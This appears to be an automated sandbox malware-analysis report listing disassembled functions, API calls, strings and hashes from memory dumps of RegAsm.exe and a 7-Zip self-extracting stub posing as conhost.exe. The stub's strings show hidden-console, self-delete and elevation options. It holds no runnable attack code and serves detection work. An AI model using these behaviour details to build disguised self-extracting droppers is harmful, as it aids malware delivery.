String ID: D:j$D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-3704558559
Opcode ID: 0f3f274852619ea071ccf415e131b20854562c4dc883f8666653b45123e754e7
Instruction ID: bca237f2e458264db0f9808c329b50facbb1b9fad7db9369848de19f6b9370e8
Opcode Fuzzy Hash: 0f3f274852619ea071ccf415e131b20854562c4dc883f8666653b45123e754e7
Instruction Fuzzy Hash: CA2187313006626FC7096BA5D944C6D7B5BFB9A300B54413DE30A8F6B4CEB95D4EC782

Function 06A3EFD0 Relevance: 7.9, Strings: 6, Instructions: 379COMMON

Download Yara Rule

Strings

(_]q, xrefs: 06A3F239
(_]q, xrefs: 06A3F03A
(_]q, xrefs: 06A3F3B9
(_]q, xrefs: 06A3F0B9
(_]q, xrefs: 06A3F1BA
(_]q, xrefs: 06A3F33A

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: (_]q$(_]q$(_]q$(_]q$(_]q$(_]q
API String ID: 0-414434136
Opcode ID: f57a547201a20023193c5a02d350b5598a87005e79fbafc36f56177a160974a3
Instruction ID: 4a23021536b4393e8b204cc706961162284016e29f6e9a7b67062f872af11103
Opcode Fuzzy Hash: f57a547201a20023193c5a02d350b5598a87005e79fbafc36f56177a160974a3
Instruction Fuzzy Hash: D7D1C174A142549FDB44AF68D4545AEBBB2FF86300F2485AEE80ADB381DA319D06CB91

Function 06A3D7F8 Relevance: 7.6, Strings: 6, Instructions: 83COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3D8CD
D:j, xrefs: 06A3D814
D:j, xrefs: 06A3D839
D:j, xrefs: 06A3D8A8
D:j, xrefs: 06A3D883
D:j, xrefs: 06A3D85E

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-714615153
Opcode ID: 5a08b5cf04fc7ca81f6f012b4e51657a2c303812c484430ed67593c233906a0e
Instruction ID: b9bb865615e6115e1a49255b54474de470d1ba5be04cccdc156e59d90f07d43a
Opcode Fuzzy Hash: 5a08b5cf04fc7ca81f6f012b4e51657a2c303812c484430ed67593c233906a0e
Instruction Fuzzy Hash: 6F21A7313107112BD2095AA5A850A6DBA5BFB86700F90493DD3058F6A5CF7D5D1DC396

Function 06A3D808 Relevance: 7.6, Strings: 6, Instructions: 73COMMON

Download Yara Rule

Strings

D:j, xrefs: 06A3D8CD
D:j, xrefs: 06A3D814
D:j, xrefs: 06A3D839
D:j, xrefs: 06A3D8A8
D:j, xrefs: 06A3D883
D:j, xrefs: 06A3D85E

Memory Dump Source

Source File: 00000003.00000002.2240533897.0000000006A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6a30000_RegAsm.jbxd

Similarity

API ID:
String ID: D:j$D:j$D:j$D:j$D:j$D:j
API String ID: 0-714615153
Opcode ID: d9ddb612c91692d150ac4b7438df7172e3ed102ad1f0b4852ea1eb1914b6bec2
Instruction ID: eae4cadce2e9faf7ebf4b0ccc2f7232c3b3b141437f727b4b1dc76f6d42bd2f6
Opcode Fuzzy Hash: d9ddb612c91692d150ac4b7438df7172e3ed102ad1f0b4852ea1eb1914b6bec2
Instruction Fuzzy Hash: BD11D8313103122BC3096AA5A840E3DF65BFB8A700F904A3DD3054F694CF7E6D19C396

Analysis Process: conhost.exePID: 616, Parent PID: 3724COMMON

Execution Graph

Execution Coverage:	14.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.6%
Total number of Nodes:	1850
Total number of Limit Nodes:	22

Executed Functions

Function 00405BFC Relevance: 276.8, APIs: 102, Strings: 55, Instructions: 2009stringkeyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F

Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB

Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6

Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8

wsprintfW.USER32 ref: 00405D45
_wtol.MSVCRT ref: 00405D7F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DCE
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DE2
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,0041EA30), ref: 00405DEA

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
_wtol.MSVCRT ref: 00405F89
??2@YAPAXI@Z.MSVCRT(00000010,00000000,0041EA30,0041EA30), ref: 00406118
??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,0041EA30,0041EA30), ref: 0040619B
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,0041EA30,0041EA30), ref: 00406211
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 0040622D
??3@YAXPAX@Z.MSVCRT(?,00000000,0041EA30,0041EA30), ref: 0040626B
wsprintfW.USER32 ref: 00406295
_wtol.MSVCRT ref: 004064B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00406587
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004065D4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 004065DC
??3@YAXPAX@Z.MSVCRT(?), ref: 004065FB
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406653
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 0040665B
GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040673B
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00406743
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040674B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00406753
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040675B
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 0040678A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00406792
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040679A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067A2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004067BE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004067C6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067CE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067D6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?,00000000,?,?), ref: 0040687F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,00000000,?,?), ref: 004068A4
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,00000000,?,?,?,00000000,?,?), ref: 00406916
CoInitialize.OLE32(00000000), ref: 00406937
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
_wtol.MSVCRT ref: 00406A68
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406A8B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406AC4
GetKeyState.USER32(00000010), ref: 00406B1B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406C59
??3@YAXPAX@Z.MSVCRT(?), ref: 00406C67
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C92
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C9A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406CB6
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00406CBE
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00406CEE
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D2E
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D97
??3@YAXPAX@Z.MSVCRT(?,?,0041E9E8), ref: 00406D9F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E64
??3@YAXPAX@Z.MSVCRT(00000001,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E6F
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F33
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F3B
_wtol.MSVCRT ref: 00406FCF
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 004071AE
??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,?,?,?,?,?,?), ref: 004071B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004071DA
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407223
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040722B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407233
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407239
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407249
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407251
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040726E
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407276
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040727E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407286
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040728E
??3@YAXPAX@Z.MSVCRT(?,?,?,0041E9E8), ref: 004072AF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041E9E8), ref: 004072B7
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004072C3

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 004072E4
??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 004072EC
??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 004072F4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 004072FA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00407302
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 0040730A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00407312
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407331
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00407339
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407341
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407347
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004073AA
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040746E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407476
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040748D
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004074A1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004074A9
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2

Strings

Delete, xrefs: 0040738F
sfxlang, xrefs: 00405D63
$A, xrefs: 0040610C
waitall, xrefs: 00406EA5
ExecuteFile, xrefs: 00406ADB, 00406BD7, 00406BE5
7zSfxString%d, xrefs: 0040628F
GUIMode, xrefs: 004063D9
sfxwaitall, xrefs: 00405DF8
7-Zip SFX, xrefs: 004074B6
GUIFlags, xrefs: 004063FC
7zSfxVarCmdLine1, xrefs: 0040661A
FinishMessage, xrefs: 004073D6
amd64, xrefs: 0040704E
setup.exe, xrefs: 00406E2C, 00406E31, 00406E8C
0A, xrefs: 00405E4F
sfxversion, xrefs: 00405DB3
A, xrefs: 00406CDE
BeginPromptTimeout, xrefs: 004064E0, 00406A55
OverwriteMode, xrefs: 00406395
SfxAuthor, xrefs: 0040696B
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 004069BD
SetEnvironment, xrefs: 004067FC, 00406804, 0040688B
7zSfxVarModulePlatform, xrefs: 00405CF4
BeginPrompt, xrefs: 00406AEB
HelpText, xrefs: 004068CA
pA, xrefs: 00405F55
del, xrefs: 00407004
7ZipSfx.%03x, xrefs: 00406CD1
bpt, xrefs: 004064C7
forcenowait, xrefs: 00406F8C
0A, xrefs: 00406047
x64, xrefs: 00407061
A, xrefs: 00406CFC
shc, xrefs: 00406FE4
" -, xrefs: 004066E4
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 004074BB
InstallPath, xrefs: 00406941
7zSfxVarCmdLine2, xrefs: 004062CD, 00406675
RunProgram, xrefs: 00406AE0, 00406BFB, 00406C09
sfxconfig, xrefs: 00405FEE, 004061C0
x86, xrefs: 00405CEF, 00407028
nowait, xrefs: 00406F68
0A, xrefs: 0040603D
7zSfxVarSystemLanguage, xrefs: 00405D52
SelfDelete, xrefs: 0040645F, 0040743C
7zSfxVarSystemPlatform, xrefs: 00405D07
sfxelevation, xrefs: 00405E14, 004066DF
MiscFlags, xrefs: 0040641F
A, xrefs: 00406951
7zSfxVarCmdLine0, xrefs: 00405D12
AutoInstall, xrefs: 00406B51, 00406BAC, 00406F13
ExecuteParameters, xrefs: 004070C7
hidcon, xrefs: 00406F4A
i386, xrefs: 0040703B
Shortcut, xrefs: 00407367

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$A$A$A
API String ID: 1301190434-1447873201
Opcode ID: 10cb7091d2b9d3da38b27ec7869b728c13af1da3f3d545d26808bf40333ee74a
Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
Opcode Fuzzy Hash: 10cb7091d2b9d3da38b27ec7869b728c13af1da3f3d545d26808bf40333ee74a
Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E

Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
SetFileAttributesW.KERNELBASE(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
DeleteFileW.KERNELBASE(?,?,?,00000000), ref: 00403291
FindNextFileW.KERNELBASE(00000000,00000010,?,?,00000000), ref: 004032A3
FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
SetFileAttributesW.KERNELBASE(?,00000000,?,?,00000000), ref: 004032BD
RemoveDirectoryW.KERNELBASE(?,?,?,00000000), ref: 004032C6
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032D1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032DC

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69

Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

memcpy.MSVCRT(-00000001,00401A74,?,?,?,?,?,00401A74,?), ref: 00403AC2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00401A74,?), ref: 00403AFF
??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,00401A74,00401A74,?,?,?,?,00401A74,?), ref: 00403B45

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD

Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
GetProcAddress.KERNEL32(00000000), ref: 0040267C
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

Strings

kernel32, xrefs: 00402670
GetNativeSystemInfo, xrefs: 0040266B

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A

Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
SetLastError.KERNEL32(00000010), ref: 004036A0

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E

Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
SendMessageW.USER32(00008001,00000000,?), ref: 0040129F

Memory Dump Source

Source File: 00000005.00000002.2318993316.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2318973646.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319024951.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319051131.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_conhost.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
